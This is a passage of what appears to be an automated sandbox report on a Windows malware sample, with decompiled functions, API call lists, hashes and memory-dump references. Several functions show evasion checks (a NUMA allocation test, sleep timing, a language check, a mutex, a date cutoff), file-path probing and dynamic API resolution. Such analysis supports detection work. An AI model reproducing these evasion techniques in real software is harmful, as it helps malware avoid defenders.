0x00411e3c
0x00411e42
0x00411e54
0x00411e57
0x00411e5a
0x00000000
0x00000000
0x00411e71
0x00411e76
0x00411e82
0x00411e51
0x00411e51
0x00411e8d
0x00000000

APIs

new[].LIBCMTD ref: 00411E10
memcpy.NTDLL(00000000,?,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411E3C
memcpy.NTDLL(00000000,00004000,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411ECD

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: memcpy$new[]
String ID:
API String ID: 3541104900-0
Opcode ID: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction ID: 1be85da1f02f000736658b6362af722e2e86620b20a10b8620c900d99ce7c40f
Opcode Fuzzy Hash: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction Fuzzy Hash: 0051C7B8A00209DFCB44CF98C581EAEBBB6FF88314F548159EA05AB355D735E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3F0, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 91
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040A3F0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t40;
				void* _t50;
				intOrPtr _t55;
				void* _t71;
				void* _t73;

				_v12 = 0;
				_v8 = 0;
				E0040B720( &_v276, 0x104);
				E0040B800( &_v276,  &_v276, 0x1c);
				 *0x41aa24( &_v276, _a4);
				E0040B720( &_v540, 0x104);
				 *0x41aa24( &_v540,  &_v276);
				_t55 =  *0x41a74c; // 0x487c60
				 *0x41aa24( &_v540, _t55);
				_t40 = E0040BB70( &_v540);
				_t73 = _t71 + 0xc;
				if(_t40 != 0) {
					_t50 = E00407690( &_v540,  &_v12,  &_v8);
					_t73 = _t73 + 0xc;
					if(_t50 == 0) {
						E00407590( &_v12,  &_v8);
						_t73 = _t73 + 8;
					}
				}
				E004087E0(0x41401a,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24);
				E00409DC0( &_v276, _a8, _a12);
				return E00407590( &_v12,  &_v8);
			}

0x0040a3f9
0x0040a400
0x0040a413
0x0040a421
0x0040a434
0x0040a446
0x0040a459
0x0040a45f
0x0040a46d
0x0040a47a
0x0040a47f
0x0040a484
0x0040a495
0x0040a49a
0x0040a49f
0x0040a4a9
0x0040a4ae
0x0040a4ae
0x0040a49f
0x0040a4d9
0x0040a4f0
0x0040a50b

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000000), ref: 0040A434
lstrcat.KERNEL32(?,?), ref: 0040A459
lstrcat.KERNEL32(?,00487C60), ref: 0040A46D

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00407690: StrStrA.SHLWAPI(00000000,00487CA8), ref: 004076E3

Strings

`|H, xrefs: 0040A45F

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: `|H
API String ID: 4178457443-1276898666
Opcode ID: f38fda6ab5cf68a8332b932a00b655fbe328909920623241ac7c2da2c9a0354b
Instruction ID: ce2022d65494d5f93f85b5e78ccbe9f151ffe9191f3f48bd5557e70587304a2b
Opcode Fuzzy Hash: f38fda6ab5cf68a8332b932a00b655fbe328909920623241ac7c2da2c9a0354b
Instruction Fuzzy Hash: 743164B6D1010CABCB14DFD4DC85EDE737CAB5C304F044599F605A7181E678A794CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0058A640, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058BA50: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,00000000,00000004,?,00581491,?,0000001A,?,00000104), ref: 0058BA74

lstrcat.KERNEL32(?,00000000), ref: 0058A684
lstrcat.KERNEL32(?,?), ref: 0058A6A9
lstrcat.KERNEL32(?,`|H), ref: 0058A6BD

Part of subcall function 0058BDC0: GetFileAttributesA.KERNEL32(?,?,?,0058A6CF,?), ref: 0058BDCA

Part of subcall function 005878E0: StrStrA.SHLWAPI(00000000,0041A088), ref: 00587933

Strings

`|H, xrefs: 0058A6AF, 0058A6B5

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: `|H
API String ID: 4178457443-1276898666
Opcode ID: 7e5a71e2141bb9a776ee3104154646530480955f0848b5e974398f0d962f3400
Instruction ID: d402e30df7161a2e51bb0ae1b1070c07e6e4e32f26e629667f681463beddb942
Opcode Fuzzy Hash: 7e5a71e2141bb9a776ee3104154646530480955f0848b5e974398f0d962f3400
Instruction Fuzzy Hash: 41313EB690010CABCB14EF90DC89EDE77BCBB58300F144599FA15A2151EA74AB94CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040A510, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 83
stringCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040A510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t37;
				void* _t45;
				intOrPtr _t50;
				void* _t64;
				void* _t66;

				_v12 = 0;
				_v8 = 0;
				E0040B720( &_v276, 0x104);
				E0040B800( &_v276,  &_v276, 0x1a);
				 *0x41aa24( &_v276, _a4);
				E0040B720( &_v540, 0x104);
				 *0x41aa24( &_v540,  &_v276);
				_t50 =  *0x41a74c; // 0x487c60
				 *0x41aa24( &_v540, _t50);
				_t37 = E0040BB70( &_v540);
				_t66 = _t64 + 0xc;
				if(_t37 != 0) {
					_t45 = E00407690( &_v540,  &_v12,  &_v8);
					_t66 = _t66 + 0xc;
					if(_t45 == 0) {
						E00407590( &_v12,  &_v8);
						_t66 = _t66 + 8;
					}
				}
				E004087E0(0x41401a,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24);
				return E00407590( &_v12,  &_v8);
			}

0x0040a519
0x0040a520
0x0040a533
0x0040a541
0x0040a554
0x0040a566
0x0040a579
0x0040a57f
0x0040a58d
0x0040a59a
0x0040a59f
0x0040a5a4
0x0040a5b5
0x0040a5ba
0x0040a5bf
0x0040a5c9
0x0040a5ce
0x0040a5ce
0x0040a5bf
0x0040a5f9
0x0040a614

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,?), ref: 0040A579
lstrcat.KERNEL32(?,00487C60), ref: 0040A58D

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00407690: StrStrA.SHLWAPI(00000000,00487CA8), ref: 004076E3

Strings

`|H, xrefs: 0040A57F

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: `|H
API String ID: 4178457443-1276898666
Opcode ID: 47c5dae1352d0e1e636514dbb3fc3761acd724680730f84e631e5ad9635b0f7f
Instruction ID: 5929abeeef62401985c717085424f3a4adc1c8890c023943e0da9d73f2acd4ec
Opcode Fuzzy Hash: 47c5dae1352d0e1e636514dbb3fc3761acd724680730f84e631e5ad9635b0f7f
Instruction Fuzzy Hash: 183121B6D0010CBBCB14DF90DC85EDE77BCAB5C304F0445AAF609A7181EA74A798CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0058A760, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 83stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058BA50: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,00000000,00000004,?,00581491,?,0000001A,?,00000104), ref: 0058BA74

lstrcat.KERNEL32(?,00000000), ref: 0058A7A4
lstrcat.KERNEL32(?,?), ref: 0058A7C9
lstrcat.KERNEL32(?,`|H), ref: 0058A7DD

Part of subcall function 0058BDC0: GetFileAttributesA.KERNEL32(?,?,?,0058A6CF,?), ref: 0058BDCA

Part of subcall function 005878E0: StrStrA.SHLWAPI(00000000,0041A088), ref: 00587933

Strings

`|H, xrefs: 0058A7CF, 0058A7D5

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: `|H
API String ID: 4178457443-1276898666
Opcode ID: e2c3142200fd0918eeb320f9beeb1fcdd8bb173fe84d7db8c4248a12721d8e87
Instruction ID: 7177644551baec9efb28aaee4d0bb1a24b5f85b69a8554987eaf2d66eeb3a9a8
Opcode Fuzzy Hash: e2c3142200fd0918eeb320f9beeb1fcdd8bb173fe84d7db8c4248a12721d8e87
Instruction Fuzzy Hash: 44314FB690010CABDB14EFD0DC89EDE77BCBB58300F104599BA15A2151EB74AB98CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040A620, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 63
stringCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E0040A620(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, signed int _a24) {
				char _v268;
				char _v532;
				void* _t26;
				intOrPtr _t35;
				intOrPtr _t38;
				void* _t44;
				void* _t46;

				E0040B720( &_v532, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B800( &_v268,  &_v532, 0x1a);
				 *0x41aa24( &_v532, _a4);
				 *0x41aa24( &_v268,  &_v532);
				_t35 =  *0x41a210; // 0x487c78
				 *0x41aa24( &_v268, _t35);
				_t26 = E0040BB70( &_v268);
				_t46 = _t44 + 0xc;
				if(_t26 != 0) {
					_t50 =  *0x41a83c;
					if( *0x41a83c == 0) {
						E00405420(_t35);
						 *0x41a83c = 1;
						_t38 =  *0x41a6a8; // 0x487c90
						E00407900(_t38, _t50, _t38);
						_t46 = _t46 + 4;
					}
					return E004096E0(0x41401a,  &_v532, _a8, _a12, _a16, _a20, _a24);
				}
				return _t26;
			}

0x0040a635
0x0040a646
0x0040a654
0x0040a667
0x0040a67b
0x0040a681
0x0040a68f
0x0040a69c
0x0040a6a1
0x0040a6a6
0x0040a6a8
0x0040a6af
0x0040a6b1
0x0040a6b6
0x0040a6c0
0x0040a6c7
0x0040a6cc
0x0040a6cc
0x00000000
0x0040a6f4
0x0040a6fa

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000000), ref: 0040A667
lstrcat.KERNEL32(?,?), ref: 0040A67B
lstrcat.KERNEL32(?,00487C78), ref: 0040A68F

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00405420: lstrcat.KERNEL32(?,00482148), ref: 0040549C
Part of subcall function 00405420: lstrcat.KERNEL32(?,00484C38), ref: 004054B0
Part of subcall function 00405420: lstrcat.KERNEL32(?,00486F48), ref: 004054C4
Part of subcall function 00405420: lstrcat.KERNEL32(?,00482148), ref: 004054D7
Part of subcall function 00405420: lstrcat.KERNEL32(?,00484C38), ref: 004054EB
Part of subcall function 00405420: lstrcat.KERNEL32(?,00486FD8), ref: 004054FF
Part of subcall function 00405420: lstrcat.KERNEL32(?,00482148), ref: 00405512
Part of subcall function 00405420: lstrcat.KERNEL32(?,00484C38), ref: 00405526
Part of subcall function 00405420: lstrcat.KERNEL32(?,00486E88), ref: 0040553A
Part of subcall function 00405420: lstrcat.KERNEL32(?,00482148), ref: 0040554D
Part of subcall function 00405420: lstrcat.KERNEL32(?,00484C38), ref: 00405561
Part of subcall function 00405420: lstrcat.KERNEL32(?,00486ED0), ref: 00405575
Part of subcall function 00405420: lstrcat.KERNEL32(?,00482148), ref: 00405588
Part of subcall function 00405420: lstrcat.KERNEL32(?,00484C38), ref: 0040559C

Part of subcall function 00407900: GetEnvironmentVariableA.KERNEL32(004872A8,0041B488,0000FFFF), ref: 0040792E
Part of subcall function 00407900: lstrcat.KERNEL32(?,0041B488), ref: 0040795D
Part of subcall function 00407900: lstrcat.KERNEL32(?,004191E8), ref: 0040796F
Part of subcall function 00407900: lstrcat.KERNEL32(?,00000000), ref: 00407980
Part of subcall function 00407900: SetEnvironmentVariableA.KERNEL32(004872A8,?), ref: 00407994
Part of subcall function 00407900: LoadLibraryA.KERNEL32(00484AB8), ref: 004079B2
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00487D68), ref: 004079D7
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00487D50), ref: 004079F0
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00488618), ref: 00407A08
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00487D08), ref: 00407A20
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00488738), ref: 00407A39
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00487D98), ref: 00407A51

Strings

x|H, xrefs: 0040A681

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$AddressProc$EnvironmentVariable$AttributesFileFolderLibraryLoadPath
String ID: x|H
API String ID: 1979142406-1580081058
Opcode ID: ce6814d46a999ac593ddd95fd86c6f321ddfcc7fb7894618228789452db9ebdd
Instruction ID: f28decca28addda6498ee9190a0ca9526165cf385ec8dc0d29a16be75cd48475
Opcode Fuzzy Hash: ce6814d46a999ac593ddd95fd86c6f321ddfcc7fb7894618228789452db9ebdd
Instruction Fuzzy Hash: 1C2178B650010C6BCB10EF91DC85EEA3378AB58304F04456EF55993191EBB9E5E4CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0058A870, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 63stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058BA50: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,00000000,00000004,?,00581491,?,0000001A,?,00000104), ref: 0058BA74

lstrcat.KERNEL32(?,0041ABAC), ref: 0058A8B7
lstrcat.KERNEL32(?,?), ref: 0058A8CB
lstrcat.KERNEL32(?,x|H), ref: 0058A8DF

Part of subcall function 0058BDC0: GetFileAttributesA.KERNEL32(?,?,?,0058A6CF,?), ref: 0058BDCA

Part of subcall function 00585670: lstrcat.KERNEL32(?,H!H), ref: 005856EC
Part of subcall function 00585670: lstrcat.KERNEL32(?,8LH), ref: 00585700
Part of subcall function 00585670: lstrcat.KERNEL32(?,HoH), ref: 00585714
Part of subcall function 00585670: lstrcat.KERNEL32(?,H!H), ref: 00585727
Part of subcall function 00585670: lstrcat.KERNEL32(?,8LH), ref: 0058573B
Part of subcall function 00585670: lstrcat.KERNEL32(?,0041A3B4), ref: 0058574F
Part of subcall function 00585670: lstrcat.KERNEL32(?,H!H), ref: 00585762
Part of subcall function 00585670: lstrcat.KERNEL32(?,8LH), ref: 00585776
Part of subcall function 00585670: lstrcat.KERNEL32(?,0041A090), ref: 0058578A
Part of subcall function 00585670: lstrcat.KERNEL32(?,H!H), ref: 0058579D
Part of subcall function 00585670: lstrcat.KERNEL32(?,8LH), ref: 005857B1
Part of subcall function 00585670: lstrcat.KERNEL32(?,0041A604), ref: 005857C5
Part of subcall function 00585670: lstrcat.KERNEL32(?,H!H), ref: 005857D8
Part of subcall function 00585670: lstrcat.KERNEL32(?,8LH), ref: 005857EC

Part of subcall function 00587B50: GetEnvironmentVariableA.KERNEL32(0041A034,0041B488,0000FFFF), ref: 00587B7E
Part of subcall function 00587B50: lstrcat.KERNEL32(?,0041B488), ref: 00587BAD
Part of subcall function 00587B50: lstrcat.KERNEL32(?,004191E8), ref: 00587BBF
Part of subcall function 00587B50: lstrcat.KERNEL32(?,00000000), ref: 00587BD0
Part of subcall function 00587B50: SetEnvironmentVariableA.KERNEL32(0041A034,?), ref: 00587BE4
Part of subcall function 00587B50: LoadLibraryA.KERNEL32(0041A6CC), ref: 00587C02
Part of subcall function 00587B50: GetProcAddress.KERNEL32(0041A824,h}H), ref: 00587C27
Part of subcall function 00587B50: GetProcAddress.KERNEL32(0041A824,P}H), ref: 00587C40
Part of subcall function 00587B50: GetProcAddress.KERNEL32(0041A824,0041A1B4), ref: 00587C58
Part of subcall function 00587B50: GetProcAddress.KERNEL32(0041A824,0041A12C), ref: 00587C70
Part of subcall function 00587B50: GetProcAddress.KERNEL32(0041A824,0041A7B4), ref: 00587C89
Part of subcall function 00587B50: GetProcAddress.KERNEL32(0041A824,0041A358), ref: 00587CA1

Strings

x|H, xrefs: 0058A8D1, 0058A8D7

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$AddressProc$EnvironmentVariable$AttributesFileFolderLibraryLoadPath
String ID: x|H
API String ID: 1979142406-1580081058
Opcode ID: 3508ae6989b44a9ebb6a97024c28c4b612f8b71900549a50e8e585498c8bbb11
Instruction ID: 79efda94a54e30334a954abcadce746542ff70a4c45840823157668b838c479e
Opcode Fuzzy Hash: 3508ae6989b44a9ebb6a97024c28c4b612f8b71900549a50e8e585498c8bbb11
Instruction Fuzzy Hash: 562163B650010DABDB10FFA0DC89EEA37BCBB58304F044599FA1952151EBB4EAD4CF66

Uniqueness

Uniqueness Score: -1.00%

Function 0058C100, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 53stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,?,?,00585E47,?,8pH,00000000), ref: 0058C10E
lstrcpyn.KERNEL32(0041AC88,?,?,?,00585E47,?,8pH), ref: 0058C132
wsprintfA.USER32 ref: 0058C18B

Strings

G^X, xrefs: 0058C176, 0058C179

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: G^X
API String ID: 1799455324-3407670091
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: e6ecfd76ab84b49816429524fa7f2f09a22866c32daac46420eca55ddbfdc213
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 0721EA75901108EFDF05DFACD984AEDBFB4FF48344F108199E809A7341D635AA50CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00586DB0, Relevance: 6.0, APIs: 4, Instructions: 49threadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0058C582
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A33C), ref: 0058C59A
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 0058C5B2
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0058C5CB
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 0058C5E3
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,(G), ref: 0058C5FB
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0058C614
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A6F0), ref: 0058C62C
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 0058C644
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0058C65D
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0058C673
Part of subcall function 0058C530: LoadLibraryA.KERNEL32(@G,?,00586DC2), ref: 0058C685
Part of subcall function 0058C530: LoadLibraryA.KERNEL32(0041A658,?,00586DC2), ref: 0058C697
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0058C6B8

Part of subcall function 005812A0: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000), ref: 005812BA
Part of subcall function 005812A0: VirtualAllocExNuma.KERNEL32(00000000), ref: 005812C1
Part of subcall function 005812A0: ExitProcess.KERNEL32 ref: 005812D2

Part of subcall function 00586CF0: GetTickCount.KERNEL32 ref: 00586CF6
Part of subcall function 00586CF0: Sleep.KERNEL32(00002710), ref: 00586D04
Part of subcall function 00586CF0: GetTickCount.KERNEL32 ref: 00586D0A

Sleep.KERNEL32(000003E7), ref: 00586E45

Part of subcall function 00586C60: GetUserDefaultLangID.KERNEL32 ref: 00586C6D

Part of subcall function 00586D80: CreateMutexA.KERNEL32(00000000,00000000,0041A124), ref: 00586D8D
Part of subcall function 00586D80: GetLastError.KERNEL32 ref: 00586D93

Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A0B4), ref: 0058C70D
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,(uH), ref: 0058C725
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A2BC), ref: 0058C73E
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0vH), ref: 0058C756
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A5D8), ref: 0058C76E
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,puH), ref: 0058C787
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64, tH), ref: 0058C79F
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A4B8), ref: 0058C7B7
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A2B4), ref: 0058C7D0
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,HvH), ref: 0058C7E8
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A49C), ref: 0058C800
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,`vH), ref: 0058C819
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,xvH), ref: 0058C831
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A1C0), ref: 0058C849
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A1F8), ref: 0058C862
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A7AC), ref: 0058C87A

CreateThread.KERNEL32(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00586E0C

Part of subcall function 00586B40: GetSystemTime.KERNEL32(?,?,00000104), ref: 00586BC1
Part of subcall function 00586B40: lstrcat.KERNEL32(?,8MH), ref: 00586BD5
Part of subcall function 00586B40: sscanf.NTDLL ref: 00586C13
Part of subcall function 00586B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00586C27
Part of subcall function 00586B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00586C38
Part of subcall function 00586B40: ExitProcess.KERNEL32 ref: 00586C52

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00586E26
ExitProcess.KERNEL32 ref: 00586E54

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: deb9921109e4c39c7268c3a2cb711b6dc855c9ca038c2ca9d90af0eed06b49fb
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 6B01A438785742A6E76037B1ED0FB5A2E497F80F81F140460BE41B81D2EEA5A951872F

Uniqueness

Uniqueness Score: -1.00%

Function 0058AF90, Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058AFA0
RtlAllocateHeap.NTDLL(00000000), ref: 0058AFA7
GetTimeZoneInformation.KERNEL32(?), ref: 0058AFBA
wsprintfA.USER32 ref: 0058AFF4

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 05fb5ee0a12ae36f4e499fe5b3215f29d52ef27ee8cbe55280979c51bdd3f3c6
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: AEF09070A45318DBDB20ABA4DD49BEAB77AAB04301F0046E5EA09A3291DB745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 00592620, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,?,?,?,?,?,00592D62), ref: 00592694
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00592D62), ref: 005926A2

Part of subcall function 005918C0: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,b-Y,?,?,?,?,?,?,00592D62), ref: 005918CE

Part of subcall function 00591880: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005918AC

Strings

b-Y, xrefs: 005926A8, 005926FD, 005926AB

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: b-Y
API String ID: 568878067-2257548771
Opcode ID: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction ID: 850ba8b472e06a0dec546d7cf6646f912170834a02825c1136fb6af5b361bc4f
Opcode Fuzzy Hash: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction Fuzzy Hash: C231A1B99002099FDB08DF98C594BDEBBF5BB4C304F204599E805AB352D736AE45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0058B8F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,b6Y,?,0058B7ED,b6Y,00000009,?,00593662,00000009), ref: 0058B8F9
RtlAllocateHeap.NTDLL(00000000,?,0058B7ED), ref: 0058B900

Strings

b6Y, xrefs: 0058B8F3, 0058B8F6

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID: b6Y
API String ID: 1357844191-2183669519
Opcode ID: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction ID: f01f5e1e7c2cbae4d5f0611841cbb3e049ae9411e28973528bbdb3b79d6c1229
Opcode Fuzzy Hash: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction Fuzzy Hash: 62C09B75141308ABD6005BE8EE0DDD6375CFF4C641F008410B60DC6551CA75A450C766

Uniqueness

